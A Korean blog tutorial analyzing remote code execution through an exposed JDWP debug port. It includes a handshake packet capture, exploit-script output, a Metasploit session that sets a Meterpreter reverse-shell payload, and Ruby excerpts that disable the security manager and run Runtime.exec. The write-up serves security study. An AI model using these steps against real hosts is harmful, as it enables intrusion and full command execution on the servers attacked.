[HACKING] JDWP(Java Debug Wire Protocol) Remote Code Execution

오늘은 JDWP에 대한 RCE 취약점에 대해 이야기할까 합니다. 이 취약점은 2014년도 나온 취약점이지만 최근에도 몇번 만난적이 있어 정리해둘까하네요.

JDWP??

JDWP는 JPDA, 즉 Java Platform Debugger Architecture 중 하나로써 Debugger와 JVM(Java Virtual Machine) 사이에서 통신을 하는 프로토콜입니다.

blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

Find to use JDWP live system(JDWP 사용 시스템 찾기)

JDWP 사용 시 서버에 8000번 포트를 Listen 상태가 되어 대기하게 됩니다. 이 포트로 JDWP를 통한 통신이 이루어지게 됩니다.

여러가지 JVM들이 멀티쓰레드로 동작할 때 이를 디버깅하기 위해선 -Xdebug 옵션과 -Xrunjdwp 옵션이 사용되어야 합니다. 이 옵션이 활성화되고 원격디버깅이 가능한데 -Xrunjdwp에서 문제가 발생합니다. (위 옵션을 사용하면 8000포트로 JDWP를 사용하게 되지요.)

위에서 강조한 handshake 과정을 살펴보도록 하겠습니다. JDWP는 TCP연결을 통해서 handshaking을 시작하는데 이 과정은 ioactive.com에서 정리한 글에 잘 나타나있습니다.


root:~/tools/scapy-hg # ip addr show dev eth0 | grep "inet "
    inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter="tcp port 8000 and host 127.0.0.1", count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 S
0001 15:49:30.402445 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 A

# reference : http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

위와 같이 Server와 Client는 JDWP-Handshake 라는 문자열을 이용해서 handshake합니다. 이 handshake 과정은 굉장히 식별하기 쉽고 단순하기 때문에 JDWP가 적용된 live system을 찾기에는 굉장히 수월하죠.

JDWP Remote Code Execution

JDWP는 기본적으로 명령행을 제공하며 JVM 메모리에 임의의 클래스를 로드하고 새로 로그된 Byte Code를 호출할 수 있습니다. 이미 많은 권한을 가지고 있는데 JDWP를 통해 명령을 줄 수 있다는건 매우 심각한 버그가 될 수 있다는걸 의미하지요. environment/application/protocol 이 그 부분입니다.

아래 이미지를 보면 JDWP 정의에 대해 볼 수 있습니다.

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

Request Packet을 보면 Length Id 등등 여러가지 헤더 중 CommandSet과 Command 헤더가 존재합니다. 이 헤더는 아래 값들로 요청을 줄 수 있네요.


CommandSet : Command
0x40 : Action to be taken by the JVM (e.g. setting a BreakPoint)
0x40–0x7F : Provide event information to the debugger (e.g. the JVM has       hit a BreakPoint and is waiting for further actions)
0x80 : Third-party extensions

아래 글에선 디버깅하여 확인하는 과정까지 표현해주었는데 참고하시면 좋을 것 같습니다.

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

이걸 스크립트로 짜서 돌리면 아래와 같다고 합니다. (저는 그냥 MSF쓰고 있습니다..귀찮..)


#> python jdwp-exp.py -t 127.0.0.1
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.6.0_65'
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
## Here we wait for breakpoint to be triggered by a new connection 
[+] Received matching event from thread 0x8b0
[+] Found Operating System 'Mac OS X'
[+] Found User name 'test'
[+] Found ClassPath '/Users/pentestosx/Desktop/apache_tomcat/bin/bootstrap.jar'
[+] Found User home directory '/Users/test'
[!] Command successfully executed

Script Code Link https://github.com/IOActive/jdwp-shellifier

(여담으로 이 취약점 잡은 IOActive가 melkor fuzzer 만든 lab이더군요.. 가끔 쓰는 fuzzer인데, 여기서 만들었다니)

MSF에서는 아래 모듈로 지원합니다.


exploit/multi/misc/java_jdwp_debugger

그래서 옵션을 주고 테스트를해보면..


hahwul exploit(java_jdwp_debugger) #> use exploit/multi/misc/java_jdwp_debugger
hahwul exploit(java_jdwp_debugger) #> set RHOST 127.0.0.1
hahwul exploit(java_jdwp_debugger) #> set PAYLOAD linux/x86/meterpreter/reverse_tcp
hahwul exploit(java_jdwp_debugger) #> set LHOST 127.0.0.1
hahwul exploit(java_jdwp_debugger) #> exploit

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 127.0.0.1:8000 - Retrieving the sizes of variable sized data types in the target VM...
[*] 127.0.0.1:8000 - Getting the version of the target VM...
[*] 127.0.0.1:8000 - Getting all currently loaded classes by the target VM...
[*] 127.0.0.1:8000 - Getting all running threads in the target VM...
[*] 127.0.0.1:8000 - Setting 'step into' event...
[*] 127.0.0.1:8000 - Resuming VM and waiting for an event...
[*] 127.0.0.1:8000 - Received 1 responses that are not a 'step into' event...
[*] 127.0.0.1:8000 - Deleting step event...
[*] 127.0.0.1:8000 - Disabling security manager if set...
[+] 127.0.0.1:8000 - Security manager was not set
[*] 127.0.0.1:8000 - Dropping and executing payload..

Exploit Code Analysis

원래 코드 분석하는데로 풀코드를 올리고 하나한 보려했으나.. 약간 코드수가 많습니다.. (약 1000정도)

그래서 주요 부분만 좀 짤라서 볼까합니다.

disable sec manager 함수


def disable_sec_manager
    sys_class = get_class_by_name("Ljava/lang/System;")

    fields = get_fields(sys_class["reftype_id"])

    sec_field = nil

    fields.each do |field|
      sec_field = field["field_id"] if field["name"].downcase == "security"
    end

    fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?

    value = get_value(sys_class["reftype_id"], sec_field)

    if(value == 0)
      print_good("#{peer} - Security manager was not set")
    else
      set_value(sys_class["reftype_id"], sec_field, 0)
      if get_value(sys_class["reftype_id"], sec_field) == 0
        print_good("#{peer} - Security manager has been disabled")
      else
        print_good("#{peer} - Security manager has not been disabled, trying anyway...")
      end
    end
  end

이 함수는 JVM에 걸려있는 security manager를 해제하는 코드입니다. 정상적으로 해제되어야 공격자가 원하는 구문 사용이 자유롭기 때문이죠.

대망의 명령실행 부분입니다.


 def execute_command(thread_id, cmd)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the command to be executed
    cmd_obj_ids = create_string(cmd)
    if cmd_obj_ids.length == 0
      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
    end

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets Runtime context
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

    rt = unformat(size, buf[1..1+size-1])
    if rt.nil? || (rt == 0)
      fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
    end

    # 3. Finds and executes "exec" method supplying the string with the command
    exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end

cmd값을 인자로 받아서 사용하네요. 코드를 보시면 아래 부분이 있는데 이 부분에서 Java Runtime 정보를 가져옵니다.


runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

그러고나선 runtime class를 통해 exec를 날리죠. (metasploit 코드는 직접 만들땐 잘 보이는데, 남에꺼 보면 왜이리 눈에 안들어오는지 모르겠어요. 심지어 주력 언어가 ruby인데 말이죠 =_=)


exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end

Full Code https://www.exploit-db.com/exploits/33789/

Reference

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html https://www.exploit-db.com/papers/27179/ https://www.exploit-db.com/exploits/33789/ https://github.com/IOActive/jdwp-shellifier